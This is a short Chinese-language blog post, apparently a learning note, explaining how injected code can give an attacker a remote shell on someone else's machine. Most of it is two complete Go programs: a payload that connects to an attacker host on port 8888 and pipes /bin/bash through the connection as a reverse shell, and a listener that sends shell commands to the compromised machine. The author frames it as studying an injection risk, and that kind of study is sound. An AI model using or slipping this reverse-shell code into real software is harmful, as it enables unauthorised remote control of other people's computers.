以前讲代码安全的时候会提到一种代码注入的风险,就是客户端注入代码,这段代码会launch一个shell然后黑客们就可以在shell里面做任何事了。
当时一直不理解这怎么操作;现碰巧遇到这么一个例子,记录下来。
首先分两台机器:
- 我的机器:
我的电脑,我有管理员权限。 - 客户机器
客户的电脑,在上面运行的客户的程序,我没有访问权限。但是客户的程序代码是由第三方人编写,存在注入代码的风险。
现在假设客户代码有风险,存在注入代码的风险,这段注入代码会在客户机器上启动一个shell,并把shell的输入输出导入到我的电脑上,于是在我的电脑上就像一个远程终端,可以直接操作客户机器。
注入代码片段:
package main
import (
"net"
"os/exec"
)
func main() {
c,_:= net.Dial("tcp","<myhost>:8888")
cmd:=exec.Command("/bin/bash")
cmd.Stdin=c
cmd.Stdout=c
cmd.Stderr=c
cmd.Run()
}
代码启动一个bash,并把标准输入输出都重定向到我的机器上<myhost>:8888。
在我的机器上运行一个服务端程序:
package main
import (
"bufio"
"fmt"
"net"
"os"
"strings"
)
func main() {
l, err := net.Listen("tcp", ":8888")
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
defer l.Close()
conn, err := l.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
os.Exit(1)
}
go handleConnectionReader(conn)
reader := bufio.NewReader(os.Stdin)
fmt.Printf("> ")
for {
input, err := reader.ReadString('\n')
if err != nil {
fmt.Println("Error reading:", err.Error())
break
}
if strings.Compare("exit", strings.Replace(input, "\n", "", -1)) == 0 {
break
}
conn.Write([]byte(input))
}
conn.Close()
}
func handleConnectionReader(c net.Conn) {
for {
buf := make([]byte, 1024)
_, err := c.Read(buf)
if err != nil {
fmt.Println("Error reading:", err.Error())
os.Exit(1)
}
fmt.Printf("%s", buf)
fmt.Printf("> ")
}
}
启动TCP服务在端口8888,并且机器和端口对客户机器可访问。
当客户端的注入代码片段被执行到之后,就会启动一个bash并建立一个TCP连接到我的机器,然后在我的机器上就会出现>
提示符,可以输入shell命令执行;我的机器此时就充当一个bash终端的角色。
网友评论